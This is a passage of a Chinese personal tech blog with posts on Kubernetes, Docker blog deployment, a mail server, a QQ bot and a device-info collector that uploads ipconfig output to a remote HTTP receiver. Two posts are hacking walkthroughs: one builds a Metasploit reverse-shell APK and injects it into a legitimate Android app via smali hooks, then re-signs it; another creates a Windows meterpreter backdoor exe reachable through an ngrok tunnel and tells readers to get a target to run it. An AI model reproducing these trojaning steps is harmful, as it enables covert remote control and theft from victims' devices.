    os.makedirs(RECEIVE_FOLDER)
13

14
class MyHttpRequestHandler(http.server.BaseHTTPRequestHandler):
15
    def do_POST(self):
16
        # 获取请求头中的内容长度
17
        content_length = int(self.headers['Content-Length'])
18

19
        # 读取请求体中的数据
20
        post_data = self.rfile.read(content_length).decode('utf-8')
21

22
        # 获取当前时间戳，用于生成唯一的文件名
23
        timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S_%f")
24

25
        # 从数据中提取计算机名（如果有的话）
26
        computer_name = "unknown"
27
        for line in post_data.split('\n'):
28
            if "计算机名:" in line:
29
                computer_name = line.split(":")[1].strip().replace(' ', '_').replace('\\', '_').replace('/', '_')
30
                break
31

32
        # 创建文件名
33
        file_name = f"{RECEIVE_FOLDER}/device_info_{computer_name}_{timestamp}.txt"
34

35
        # 保存接收到的数据到文件
36
        with open(file_name, 'w', encoding='utf-8') as f:
37
            f.write(post_data)
38

39
        # 打印接收到的信息
40
        print(f"\n[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 接收到新的设备信息:")
41
        print(f"- 保存文件: {file_name}")
42
        print(f"- 数据内容:")
43
        print(post_data)
44
        print("=" * 50)
45

46
        # 发送响应
47
        self.send_response(200)
48
        self.send_header('Content-type', 'text/plain')
49
        self.end_headers()
50
        self.wfile.write("数据已成功接收并保存".encode('utf-8'))
51

52
    def do_GET(self):
53
        # 简单的GET请求处理，用于验证服务器是否运行
54
        self.send_response(200)
55
        self.send_header('Content-type', 'text/html')
56
        self.end_headers()
57
        response = f"""
58
        <html>
59
        <head><title>设备信息接收服务器</title></head>
60
        <body>
61
        <h1>设备信息接收服务器</h1>
62
        <p>服务器正在运行中，等待接收设备信息...</p>
63
        <p>接收的文件保存在: {RECEIVE_FOLDER}</p>
64
        </body>
65
        </html>
66
        """
67
        self.wfile.write(response.encode('utf-8'))
68

69
# 创建HTTP服务器实例
70
handler_object = MyHttpRequestHandler
71
httpd = socketserver.TCPServer(('', PORT), handler_object)
72

73
# 打印服务器启动信息
74
print(f"\n设备信息接收服务器启动成功！")
75
print(f"服务器地址: http://0.0.0.0:{PORT}")
76
print(f"接收的文件将保存在: {RECEIVE_FOLDER}")
77
print(f"请在发送设备上运行 send_ip_mac.bat 脚本")
78
print("=" * 50)
79
print("按 Ctrl+C 停止服务器")
80
print("=" * 50)
81

82
# 开始监听HTTP请求
83
try:
84
    httpd.serve_forever()
85
except KeyboardInterrupt:
86
    print("\n服务器已停止")
87
    httpd.server_close()

展开收起

客户端#

1
@echo off
2
setlocal enabledelayedexpansion
3

4
:: Check if WMIC is available and install if not
5
echo Checking WMIC availability...
6

7
:: Test WMIC command directly
8
wmic os get caption >nul 2>&1
9
if %errorlevel% neq 0 (
10
    echo WMIC is not available. Attempting to install...
11
    :: Try to install WMIC using DISM
12
    dism /Online /Add-Capability /CapabilityName:WMIC~~~~ >nul 2>&1
13

14
    :: Check if installation was successful
15
    wmic os get caption >nul 2>&1
16
    if %errorlevel% neq 0 (
17
        echo ERROR: Failed to install WMIC. Please run this script as Administrator.
18
        pause
19
        exit /b 1
20
    ) else (
21
        echo SUCCESS: WMIC has been installed successfully.
22
    )
23
) else (
24
    echo WMIC is available.
25
)
26
echo.
27

28
:: Let user input target IP and port
29
set /p TARGET_IP=Enter receiver IP address [Default: 10.80.62.175]:
30
if "%TARGET_IP%"=="" set TARGET_IP=10.80.62.175
31

32
set /p TARGET_PORT=Enter receiver port [Default: 5400]:
33
if "%TARGET_PORT%"=="" set TARGET_PORT=5400
34

35
set "OUTPUT_DIR=%TEMP%"
36
set "OUTPUT_FILE=%OUTPUT_DIR%\device_info_%date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2%.txt"
37

38
:: Replace spaces with zeros in time
39
set OUTPUT_FILE=%OUTPUT_FILE: =0%
40

41
echo.
42
echo ===== IP and MAC Address Collector =====
43
echo.
44
echo Target Server: %TARGET_IP%:%TARGET_PORT%
45
echo.
46

47
:: Create output file with header
48
echo ========================================= > "%OUTPUT_FILE%"
49
echo DEVICE INFORMATION REPORT                  >> "%OUTPUT_FILE%"
50
echo Generated: %date% %time%                  >> "%OUTPUT_FILE%"
51
echo ========================================= >> "%OUTPUT_FILE%"
52
echo.                                         >> "%OUTPUT_FILE%"
53

54
:: Collect network adapter information with MAC and IP association
55
echo Collecting network adapter information...
56
echo [NETWORK ADAPTERS]              >> "%OUTPUT_FILE%"
57

58
echo.
59

60
:: Directly capture ipconfig /all output for complete network information
61
echo "Complete network adapter information (including MAC and IP addresses):" >> "%OUTPUT_FILE%"
62
echo. >> "%OUTPUT_FILE%"
63

64
:: Append ipconfig /all output to the report
65
ipconfig /all >> "%OUTPUT_FILE%"
66

67
echo. >> "%OUTPUT_FILE%"
68
echo "To determine which MAC address corresponds to which IP address:" >> "%OUTPUT_FILE%"
69
echo "1. Look for the network adapter you're interested in (e.g., Ethernet adapter, Wireless LAN adapter)" >> "%OUTPUT_FILE%"
70
echo "2. In the same adapter section, you'll find both Physical Address (MAC) and IPv4 Address" >> "%OUTPUT_FILE%"
71
echo "3. These values are associated with the same network adapter" >> "%OUTPUT_FILE%"
72
echo. >> "%OUTPUT_FILE%"
73

74
set "ip_found=true"
75

76
echo.                                         >> "%OUTPUT_FILE%"
77

78
:: Collect System Information
79
echo [SYSTEM INFO]                             >> "%OUTPUT_FILE%"
80
for /f "tokens=2 delims==" %%b in ('wmic computersystem get name /value') do (
81
    echo Computer Name: %%b                   >> "%OUTPUT_FILE%"
82
    echo Computer Name: %%b
83
)
84
for /f "tokens=2 delims==" %%c in ('wmic os get caption /value') do (
85
    echo OS: %%c                              >> "%OUTPUT_FILE%"
86
    echo OS: %%c
87
)
88

89
echo.                                         >> "%OUTPUT_FILE%"
90
echo ========================================= >> "%OUTPUT_FILE%"
91

92
:: Add warning only if no IP found
93
if not defined ip_found (
94
    echo WARNING: No IPv4 addresses found!   >> "%OUTPUT_FILE%"
95
    echo WARNING: No IPv4 addresses found!
96
)
97

98
echo.
99
echo Report saved to: %OUTPUT_FILE%
100
echo.
101

102
:: Create PowerShell script in current directory
103
set "PS_SCRIPT=send_device_info.ps1"
104
echo Creating PowerShell script in current directory...
105
echo # Script to send device information > "%PS_SCRIPT%"
106
echo $fileContent = Get-Content -Path "%OUTPUT_FILE%" -Raw >> "%PS_SCRIPT%"
107
echo $targetUrl = "http://%TARGET_IP%:%TARGET_PORT%" >> "%PS_SCRIPT%"
108
echo Write-Host "Sending data to $targetUrl..." >> "%PS_SCRIPT%"
109
echo try { >> "%PS_SCRIPT%"
110
echo     $webClient = New-Object System.Net.WebClient >> "%PS_SCRIPT%"
111
echo     $webClient.Encoding = [System.Text.Encoding]::UTF8 >> "%PS_SCRIPT%"
112
echo     $response = $webClient.UploadString($targetUrl, $fileContent) >> "%PS_SCRIPT%"
113
echo     Write-Host "SUCCESS: Data sent successfully!" >> "%PS_SCRIPT%"
114
echo } catch { >> "%PS_SCRIPT%"
115
echo     Write-Host "ERROR: Failed to send data: $($_.Exception.Message)" >> "%PS_SCRIPT%"
116
echo     Write-Host "Please ensure receiving server is running on %TARGET_IP%:%TARGET_PORT%" >> "%PS_SCRIPT%"
117
echo } >> "%PS_SCRIPT%"
118
echo pause >> "%PS_SCRIPT%"
119

120
:: Verify script was created
121
dir "%PS_SCRIPT%" >nul 2>&1
122
if errorlevel 1 (
123
    echo WARNING: Failed to create PowerShell script, but will continue...
124
) else (
125
    echo.
126
    echo Attempting to send data to %TARGET_IP%:%TARGET_PORT%...
127
    powershell.exe -ExecutionPolicy Bypass -File "%PS_SCRIPT%"
128
    del "%PS_SCRIPT%" >nul 2>&1
129
)
130

131
:: Clean up temporary files
132
del "%PS_SCRIPT%" >nul 2>&1
133
del "%OUTPUT_FILE%" >nul 2>&1
134
echo.
135
echo ===== Operation Completed =====
136
echo.
137
echo Press any key to exit...
138
pause >nul
139

140
endlocal

展开收起

博客自动构建镜像更新脚本

Thu, 28 Aug 2025 02:13:59 GMT

主要自动build更新内容，每次手动敲真累~~~~

脚本内容#

1
#!/bin/bash
2

3
DATA_DIR="/opt/mizukiv/data"
4

5
echo "正在初始化数据目录..."
6
mkdir -p "$DATA_DIR/logs"
7
mkdir -p "$DATA_DIR/config"
8
mkdir -p "$DATA_DIR/html"
9

10
if [ ! -f "$DATA_DIR/config/nginx.conf" ]; then
11
    echo "创建默认nginx配置..."
12
    cat > "$DATA_DIR/config/nginx.conf" << 'EOF'
13
server {
14
    listen 5090;
15
    server_name localhost;
16
    root /usr/share/nginx/html;
17
    index index.html;
18

19
    gzip on;
20
    gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
21
    gzip_min_length 1000;
22

23
    location / {
24
        try_files $uri $uri/ $uri.html =404;
25
    }
26

27
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
28
        expires 1y;
29
        add_header Cache-Control "public, immutable";
30
    }
31

32
    error_page 404 /404.html;
33
    error_page 500 502 503 504 /50x.html;
34
}
35
EOF
36
fi
37

38
echo "正在构建Docker镜像..."
39
docker build --no-cache -t mizukiv . || {
40
    echo "构建失败！退出部署脚本。"
41
    exit 1
42
}
43
echo "检查是否有正在运行的容器..."
44
container_id=$(docker ps -q --filter "name=mizukiv")
45
if [ -n "$container_id" ]; then
46
  echo "停止正在运行的容器: $container_id"
47
  docker stop $container_id
48
  docker rm $container_id
49
fi
50

51
echo "更新静态文件..."
52
echo "清理旧静态文件..."
53
rm -rf "$DATA_DIR/html/*"
54
echo "从镜像复制新静态文件..."
55
docker create --name mizukiv-temp mizukiv
56
docker cp mizukiv-temp:/usr/share/nginx/html/. "$DATA_DIR/html/"
57
docker rm mizukiv-temp
58
echo "静态文件更新完成"
59

60
echo "启动新容器..."
61
docker run -d \
62
  -p 5090:5090 \
63
  --name mizukiv \
64
  --restart unless-stopped \
65
  -v "$DATA_DIR/logs:/var/log/nginx" \
66
  -v "$DATA_DIR/config/nginx.conf:/etc/nginx/conf.d/default.conf:ro" \
67
  -v "$DATA_DIR/html:/usr/share/nginx/html" \
68
  mizukiv
69

70
echo "容器已启动，数据持久化目录: $DATA_DIR"
71
echo "  - 日志目录: $DATA_DIR/logs"
72
echo "  - 配置目录: $DATA_DIR/config"
73
echo "  - 静态文件: $DATA_DIR/html"
74

75
# echo "显示容器日志..."
76
# docker logs -f mizukiv

展开收起

maddy邮件系统搭建

Fri, 15 Aug 2025 12:05:32 GMT

参考#

https://www.mail-tester.com/ https://lwebapp.com/zh/post/maddy-mail-server

注意事项#

确保25,587,143,993,465端口正常

获取SSL证书#

我这边是直接走腾讯云的证书申请，申请完成后下载证书文件,可以在这网站里面申请https://sslforfree.com

部署SSL证书#

将刚刚下载到的证书提取里面的certificate.crt和private.key,把private.key改名成privkey.pem,把certificate.crt改名成fullchain.pem并且上传到服务器maddy/certs/你域名的文件夹/ 目录下

修改Maddy配置文件#

1
# 修改下面这两行为你的域名
2
$(hostname) = 你的域名
3
$(primary_domain) = 你的域名

docker 启动 maddy#

映射路径自行修改,不改也可以

1
docker run \
2
  --name maddy \
3
  -e MADDY_HOSTNAME=mx1.yourdomain.com \
4
  -e MADDY_DOMAIN=yourdomain.com \
5
  -v /software/email/maddy/certs:/etc/maddy/certs/ \
6
  -v /software/email/maddy:/data \
7
  -p 25:25 \
8
  -p 143:143 \
9
  -p 587:587 \
10
  -p 465:465 \
11
  -p 993:993 \
12
  -d foxcpp/maddy:latest

创建账号#

1
docker exec -it maddy sh
2
maddyctl creds create postmaster@yourdomain.com # 密码会提示你输入 yourdomain
3
maddyctl imap-acct create postmaster@yourdomain.com #

DNS配置#

到服务器厂商的后台管理界面配置 DNS

主机记录	记录类型	记录值
mail	A	IP地址
default._domainkey.mail	TXT	复制项目/maddy/dkim_keys/*.dns里面的内容
mail	MX	域名
_dmarc	TXT	v=DMARC1; p=none; rua=mailto<新建的邮件账号>
mail	TXT	v=spf1 mx ~all

博客框架迁移

Wed, 13 Aug 2025 19:32:00 GMT

参考#

https://docs.mizuki.mysqil.com/guide/get-started/ https://github.com/saicaca/fuwari/blob/main/docs/README.zh-CN.md

注意事项#

迁移前请备份好旧博客的所有文件
迁移完成后请检查所有页面是否正常访问
每次更新博客后请重新构建Docker镜像和重新运行容器

下载node.js#

https://nodejs.org/en/download

下载pnpm#

1
npm install -g pnpm

直接使用Mizuki (推荐)#

1
# 克隆项目到本地
2
git clone https://github.com/matsuzaka-yuki/mizuki.git
3
cd Mizuki
4
# 安装依赖
5
pnpm install
6
# 查看效果
7
pnpm dev

创建fuwari模板在本地初始始化项目 (如果使用了Mizuki则不需要执行这段代码)#

1
# npm
2
npm create fuwari@latest
3

4
# yarn
5
yarn create fuwari
6

7
# pnpm
8
pnpm create fuwari@latest
9

10
# bun
11
bun create fuwari@latest
12

13
# deno
14
deno run -A npm:create-fuwari@latest

创建Dockerfile文件并且写下以下代码#

1
# 使用Node.js官方镜像作为基础镜像
2
FROM node:20-alpine AS builder
3

4
# 设置工作目录
5
WORKDIR /app
6

7
# 复制package.json和pnpm-lock.yaml
8
COPY package.json pnpm-lock.yaml ./
9

10
# 安装pnpm
11
RUN npm install -g pnpm
12

13
# 安装依赖
14
RUN pnpm install
15

16
# 复制项目文件
17
COPY . .
18

19
# 构建项目
20
RUN pnpm run build
21

22
# 使用nginx作为运行时镜像
23
FROM nginx:alpine
24

25
# 复制构建结果到nginx的html目录
26
COPY --from=builder /app/dist /usr/share/nginx/html
27

28
# 复制自定义nginx配置
29
COPY nginx.conf /etc/nginx/conf.d/default.conf
30

31
# 暴露端口5090
32
EXPOSE 5090
33

34
# 启动nginx
35
CMD ["nginx", "-g", "daemon off;"]

展开收起

创建.dockerignore文件并且写下以下代码#

1
.git
2
node_modules
3
dist
4
.gitignore
5
Dockerfile
6
.dockerignore
7
.vscode
8
.github
9
docs
10
scripts
11
.astro
12
frontmatter.json
13
pagefind.yml
14
vercel.json

构建Docker镜像#

1
docker build -t fuwari-blog .

运行Docker容器#

1
docker run -d \
2
  --name fuwari-blog \
3
  -p 5090:5090 \
4
  -v /vol1/1000/fuwari/src/content/posts:/app/src/content/posts \
5
  -v /vol1/1000/fuwari/public:/app/public \
6
  -v /vol1/1000/fuwari/config.ts:/app/src/config.ts \
7
  fuwari-blog

访问博客#

1
http://localhost:5090

效果#

k8s集群部署

Mon, 04 Aug 2025 15:38:48 GMT

准备环境#

本次总共创建了三台主机，配置为2c2g40g，IP地址如下：

IP地址	主机名字	用途
192.168.7.105	master	k8s主节点(控制节点)
192.168.7.115	node1	工作节点
192.168.7.122	node2	工作节点

配置hosts配置文件(全部节点都要执行)#

修改hosts文件

1
sudo nano /etc/hosts

原来的注释掉,修改主机名配置(注意修改为自己的IP地址和主机名)

1
192.168.7.105 master
2
192.168.7.115 node1
3
192.168.7.122 node2

安装前准备(全部节点都要执行)#

1
# 执行下面命令永久关闭防火墙：
2
sudo systemctl disable --now ufw

设置服务器时区(全部节点都要执行)#

1
# 设置为亚洲的上海时区
2
sudo timedatectl set-timezone Asia/Shanghai
3
# 重启时间同步服务
4
sudo systemctl restart systemd-timesyncd.service
5
# 确保时间同步服务正常运行
6
timedatectl status

关闭swap分区(全部节点都要执行)#

未来性能把swap交换分区关掉

1
# 临时关闭
2
sudo swapoff -a
3
# 注释掉带swap的这一行(永久关闭)
4
sudo nano /etc/fstab

关闭SELinux(全部节点都要执行)#

1
# 安装policycoreutils软件包
2
sudo apt install -y policycoreutils
3
# 检查selinux关闭状态
4
sestatus

转发 IPv4 并让 iptables 看到桥接流量(全部节点都要执行)#

1
# 设置加载所需的内核模块
2
cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf
3
overlay
4
br_netfilter
5
EOF
6

7
# 加载模块
8
sudo modprobe overlay
9
sudo modprobe br_netfilter
10

11
# 设置所需的 sysctl 参数，参数在重新启动后保持不变
12
cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf
13
net.bridge.bridge-nf-call-iptables  = 1
14
net.bridge.bridge-nf-call-ip6tables = 1
15
net.ipv4.ip_forward                 = 1
16
EOF
17

18
# 应用 sysctl 参数而不重新启动
19
sudo sysctl --system

展开收起

通过运行以下指令确认 br_netfilter 和 overlay 模块被加载(全部节点都要执行)#

1
lsmod | grep br_netfilter
2
lsmod | grep overlay

通过运行以下指令确认net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables 和 net.ipv4.ip_forward 系统变量在你的 sysctl 配置中被设置为 1 (全部节点都要执行)#

1
sysctl net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables net.ipv4.ip_forward

安装containerd容器运行时(全部节点都要执行)#

containerd 是 Kubernetes 推荐使用的容器运行时，专注于核心功能如容器生命周期管理、镜像传输存储及资源隔离,并非容器运行的过程执行段代码(就是一个工具性质的东西)

1
# 下载containerd
2
curl -LO https://github.com/containerd/containerd/releases/download/v1.7.13/cri-containerd-cni-1.7.13-linux-amd64.tar.gz
3
# 解压到根目录
4
sudo tar -zxvf cri-containerd-cni-1.7.13-linux-amd64.tar.gz -C /
5
# 查看安装的版本
6
containerd -v

配置containerd容器运行时(全部节点都要执行)#

1
# 创建配置文件目录
2
sudo mkdir /etc/containerd
3
# 创建配置文件
4
containerd config default | sudo tee /etc/containerd/config.toml
5
# 修改配置文件
6
nano /etc/containerd/config.toml

大概在65行位置修改 sandbox_image 值为 registry.aliyuncs.com/google_containers/pause<3>.9

大概在137行位置修改 SystemdCgroup 为 true

修改完后保存启动containerd

1
sudo systemctl enable --now containerd

安装Kubernetes(全部节点都要执行)#

1
# 更新 apt 包索引并安装使用 Kubernetes apt 仓库所需要的包
2
sudo apt-get update
3
sudo apt-get install -y apt-transport-https ca-certificates curl gpg
4
# 下载用于 Kubernetes 软件包仓库的公共签名密钥。所有仓库都使用相同的签名密钥，因此你可以忽略URL中的版本
5
curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.28/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
6
# 添加 Kubernetes apt 仓库。 请注意，此仓库仅包含适用于 Kubernetes 1.28 的软件包； 对于其他 Kubernetes 次要版本，则需要更改 URL 中的 Kubernetes 次要版本以匹配你所需的次要版本 （你还应该检查正在阅读的安装文档是否为你计划安装的 Kubernetes 版本的文档）。
7
echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.28/deb/ /' | sudo tee /etc/apt/sources.list.d/kubernetes.list
8
# 更新 apt 包索引，安装 kubelet、kubeadm 和 kubectl，并锁定其版本
9
sudo apt-get update
10
sudo apt-get install -y kubelet kubeadm kubectl
11
sudo apt-mark hold kubelet kubeadm kubectl
12
# 查看安装的kubeadm版本
13
kubeadm version

初始化集群(master节点执行)#

1
# 根据自己kubeadm版本调整版本号,我安装的是v1.28.15
2
sudo kubeadm config images pull \
3
--image-repository=registry.aliyuncs.com/google_containers \
4
--kubernetes-version=v1.28.15 \
5
--cri-socket=unix:///run/containerd/containerd.sock
6
# 初始化集群(注意修改主节点IP地址和版本号)
7
sudo kubeadm init \
8
--apiserver-advertise-address=192.168.7.105 \
9
--image-repository=registry.aliyuncs.com/google_containers \
10
--kubernetes-version=v1.28.15 \
11
--service-cidr=10.96.0.0/12 \
12
--pod-network-cidr=10.244.0.0/16 \
13
--cri-socket=unix:///run/containerd/containerd.sock

第一次运行执行下面的命令

1
# 首先在本机上执行这三行命令
2
mkdir -p $HOME/.kube
3
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
4
sudo chown $(id -u):$(id -g) $HOME/.kube/config

node1 node2工作节点加入master主节点(node1 node2工作节点执行)#

1
# 所有工作节点上执行这行命令（注意修改为自己的token），注意后面拼接上 --cri-socket=unix:///var/run/containerd/containerd.sock
2
kubeadm join 192.168.7.105:6443 --token_alaxfy.n7vrlagdo7bf9f1g \
3
--discovery-token-ca-cert-hash sha256:36f774b2f64cd28f4ff1ec11b8cc06fa83955ffac10270d1fc60554694394335 \
4
--cri-socket=unix:///run/containerd/containerd.sock

查看所有节点(master主节点执行)#

1
# 现在可以在主节点上查看所有节点
2
kubectl get nodes -o wide

安装calico网络插件(master主节点执行)#

该步骤依照官网，calico官网地址：https://docs.tigera.io/calico/latest/getting-started/kubernetes/quickstart

1
# 安装Tigera Calico操作符和自定义资源定义
2
kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.2/manifests/tigera-operator.yaml

接下来需要安装必须的客户端资源，因为我们pod的网段与calico官网不相同，所以先将这个文件下载下来然后更改一下网段地址

1
# 下载客户端资源文件
2
curl -LO https://raw.githubusercontent.com/projectcalico/calico/v3.27.2/manifests/custom-resources.yaml
3
# 修改pod的网段地址
4
sed -i 's/cidr: 192.168.0.0/cidr: 10.244.0.0/g' custom-resources.yaml

最后根据这个文件创建资源，执行下面这行命令

1
# 创建资源
2
kubectl create -f custom-resources.yaml

出现下面情况就代表安装成功

现在可以使用下面这行命令监控创建过程

1
# 监控创建过程
2
watch kubectl get all -o wide -n calico-system

部署应用(master主节点执行)#

部署一个nginx应用，并以 NodePort 形式暴露此nginx。创建一个 nginx-deploy.yaml 文件，文件内容如下

1
apiVersion: apps/v1
2
kind: Deployment
3
metadata:
4
  labels:
5
    app: nginx-deploy
6
  name: nginx-deploy
7
spec:
8
  replicas: 1
9
  selector:
10
    matchLabels:
11
      app: nginx-deploy
12
  template:
13
    metadata:
14
      labels:
15
        app: nginx-deploy
16
    spec:
17
      containers:
18
      - image: registry.cn-shenzhen.aliyuncs.com/xiaohh-docker/nginx:1.25.4
19
        name: nginx
20
        ports:
21
        - containerPort: 80
22

23
---
24

25
apiVersion: v1
26
kind: Service
27
metadata:
28
  labels:
29
    app: nginx-deploy
30
  name: nginx-svc
31
spec:
32
  ports:
33
  - port: 80
34
    protocol: TCP
35
    targetPort: 80
36
    nodePort: 30080
37
  selector:
38
    app: nginx-deploy
39
  type: NodePort

展开收起

然后执行下面命令部署这个应用程序

1
# 部署nginx
2
kubectl apply -f nginx-deploy.yaml

在一段时间之后执行这行命令查看这个nginx是否部署完成，并获取nodeport的端口（yaml文件当中设置为了30080）

1
# 查看nginx的nodeport端口
2
kubectl get all -o wide

我的第二个QQ机器人AstrBot

Mon, 21 Jul 2025 08:42:56 GMT

前言#

最近在研究Agent相关的东西,无意发现一个好的项目,因此拿来做机器人,效果好挺好的,能接大模型

参考#

项目地址:https://github.com/AstrBotDevs/AstrBot

官网:https://docs.astrbot.app/

安装#

具体可以看官网,里面有几种安装方式,我这里Docker Compose部署,安装的软件分别是NapCat,AstrBot

1
mkdir astrbot
2
cd astrbot
3
wget https://raw.githubusercontent.com/NapNeko/NapCat-Docker/main/compose/astrbot.yml
4
sudo docker compose -f astrbot.yml up -d

安装完后输入ip<6185就可以看到astrbot的web界面了>

通过 NapCatQQ 协议实现端接入 QQ#

刚刚已经同时部署了AstrBot和NapCat,现在需要通过NapCatQQ协议实现端接入QQ ,现在输入ip<6099就可以进去后台默认token为napcat>,登录后按照提示进行设置密码,设置完后去网络配置里面吧rws里面的url改成自己的ip即可如下图

配置AstrBot#

进入后台后,点击左边栏消息平台然后在右边的界面中，点击 + 新增适配器选择 aiocqhttp(OneBotv11),需要注意的是反向 WebSocket 端口填写的是napcatqq上的端口配置填写参照如下

1
ID(id)：随意填写，用于区分不同的消息平台实例。
2
启用(enable): 勾选。
3
反向 WebSocket 主机地址：请填写你的机器的 IP 地址。一般情况下请直接填写 0.0.0.0
4
反向 WebSocket 端口：填写一个端口，例如 6199。

结尾#

至于插件,MCP等功能就去看官方文档吧,里面都有写

安卓手机渗透

Wed, 21 Jun 2023 08:22:59 GMT

参考#

https://www.anquanke.com/post/id/86353 https://www.cxyzjd.com/article/polaris___/90700678 https://blog.csdn.net/weixin_52221158/article/details/125878898 https://www.freebuf.com/articles/network/279222.html https://www.freebuf.com/articles/system/332133.html https://www.freebuf.com/articles/network/247629.html

使用msfvenom生成一个预设定向连接kali主机的apk安卓应用#

1
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.10 lport=4444 R > hack.apk

使用apktool对两个软件进行反编译#

1
//刚刚生成的安卓应用
2
apktool d hack.apk -o hack
3
//要进行注入木马的安卓应用
4
apktool d wo.apk -o wo

注入钩子#

1.打开wo文件夹中的AndroidManifest.xml，寻找程序入口。 2.搜索Main和Launch关键词，定位到对应的smail文件。 3.打开对应的smail文件，搜索onCreate函数，找到bundle对象。 4.在onCreate函数，找到bundle对象，下面添加启动payload代码并且保存。

1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

5.打开hack文件夹中的AndroidManifest.xml。 6.把AndroidManifest.xml中的<uses-permission android<开头的全部复制>。 7.打开wo文件夹中的AndroidManifest.xml。 8.把刚刚复制到的粘贴到以<uses-permission android<开头的的下面并且保存>。 9.把hack文件夹中的metasploit复制到wo文件夹中的smail/com/目录下。

编译#

把wo文件夹重新编译成wo.apk

1
apktool b wo -o wo.apk

生成密钥#

1
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

解释： keytool -genkeypair -keystore 密钥库名 -alias 密钥别名 -keyalg RSA -keysize 密钥大小 -validity 天数

签名#

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore wo.apk alias_name

300l_pro推算卡驱动固件部署

Sat, 04 Mar 2023 14:39:37 GMT

参考#

https://support.huawei.com/enterprise/zh/doc/EDOC1100274096/b1977c97 https://cloud.tencent.com/developer/article/2121267

准备事项#

ubuntu18.04 对应推算卡的驱动和固件

确定内核版本#

参考下图里面的系统对应内核的版本，不对应请自行切换内核

对照表

新建驱动需要用的用户#

1
groupadd HwHiAiUser
2
useradd -g HwHiAiUser -d /home/HwHiAiUser -m HwHiAiUser -s /bin/bash

安装驱动#

1
//进入root用户
2
sudo -i
3

4
//进入驱动的文件夹
5
cd /home/HwHiAiUser
6

7
//给驱动包添加可执行权限
8
chmod +x ./驱动包.run
9

10
//提升权限
11
chmod 777 ./驱动包.run
12

13
//安装驱动包,驱动包默认安装路径为“/usr/local/Ascend”
14
./驱动包.run --full
15

16
//如果终端出返回下面信息则表示安装成功
17
Driver package installed successfully!
18

19
//重启
20
init 6
21

22
//查询驱动是否安装成功
23
npm-smi info
24

25
//返回结果
26
+----------------------------------------------------------------------------------------------------+
27
| npu-smi 22.0.3                            Version: 22.0.3                                          |
28
+-------------------+-----------------+--------------------------------------------------------------+
29
| NPU     Name      | Health          | Power(W)          Temp(C)              Hugepages-Usage(page) |
30
| Chip    Device    | Bus-Id          | AICore(%)         Memory-Usage(MB)                           |
31
+===================+=================+==============================================================+
32
| 4       310P3     | OK              | NA                43             0          / 970            |
33
| 0       0         | 0000:81:00.0    | 0                 861  / 21534                               |
34
+===================+=================+==============================================================+

展开收起

安装固件#

1
//进入root用户
2
sudo -i
3

4
//进入固件的文件夹
5
cd /home/HwHiAiUser
6

7
//给固件添加可执行权限
8
chmod +x ./固件包.run
9

10
//提升权限
11
chmod 777 ./固件包.run
12

13
//安装固件包
14
./固件包 --full
15

16
//如果终端出返回下面信息则表示安装成功
17
Firmware package installed successfully!
18

19
//查看固件版本号
20
/usr/local/Ascend/driver/tools/upgrade-tool --device_index -1 --component -1 --version

展开收起

卸载驱动#

1
/driver/script/uninstall.sh

卸载固件#

1
/firmware/script/uninstall.sh

Kali_Metasploit渗透实验

Sun, 19 Feb 2023 01:13:59 GMT

前言#

最近想玩玩渗透所以学了kial系统里面的Metasploit做个木马并且支持任何外网主机远控，本文只做技术交流之用，技术无罪，希望大家知法懂法，更要守法。

准备事项#

kali Metasploit Ngrok客户端攻击机靶机

参考#

https://blog.csdn.net/m0_58489132/article/details/121816285 https://www.pianshen.com/article/47171021599/ https://www.ngui.cc/el/1741271.html?action=onClick

内网穿透#

为了能远控外网的主机，所以必须要攻击机和外网的主机能互相通信，这里用最简单的方法，如果你有公网也可以直接用公网ip也行，https://www.ngrok.cc，注册账号，根据提示，进行相关操作，选择免费隧道，

选择隧道

配置端口隧道等#

远程端口不用本机用的端口即可，避免发生冲突

配置端口隧道

本地端口，如果是kali我们需要输入ifconfig看一下自己的ip填进去。然后找到自己刚刚开通的隧道，看一下自己的配置信息，这里的隧道id和隧道端口，服务器地址接下来要用的：

配置端口隧道

Ngrok客户端#

https://www.ngrok.cc/download.html，下载自己对应的版本,并且解压

1
wget https://www.ngrok.cc/sunny/linux_amd64.zip?v=2.1
2
unzip linux_amd64.zip
3
cd linux_amd64
4
./sunny clientid 隧道ID

出现下面的转发成功界面就可以了

Ngrok客户端

创建木马#

1
 msfvenom -p windows/meterpreter/reverse_tcp lhost=刚才创建的隧道服务器地址 lport=隧道端口 -f 后门文件类型 >/后门文件存放路径/evilshell.exe

并且想方法发送到目前机器上，等对方运行

开启postgresql服务#

1
/etc/init.d/postgresql start

查看postgresql服务#

1
/etc/init.d/postgresql status

查看端口#

1
netstat -ntulp

开启msfconsole#

1
msfconsole

设置攻击模块并运行#

1
use exploit/multi/handler     //选择exploits
2

3
set payload windows/meterpreter/reverse_tcp   //设置payload
4

5
set LHOST  攻击者IP        //修改LHOST参数
6

7
set LPORT  监听端口        //修改LPORT参数
8

9
show options              //查看需要设置的参数
10

11
run 或 exploit            //运行攻击模块

获取目标主机shell#

1
shell

若出现乱码输入下面命令

1
chcp 437

其他的命令#

1
? – 帮助菜单
2
background – 将当前会话移动到背景
3
bgkill – 杀死一个背景 meterpreter 脚本
4
bglist – 提供所有正在运行的后台脚本的列表
5
bgrun – 作为一个后台线程运行脚本
6
channel – 显示活动频道
7
close – 关闭通道
8
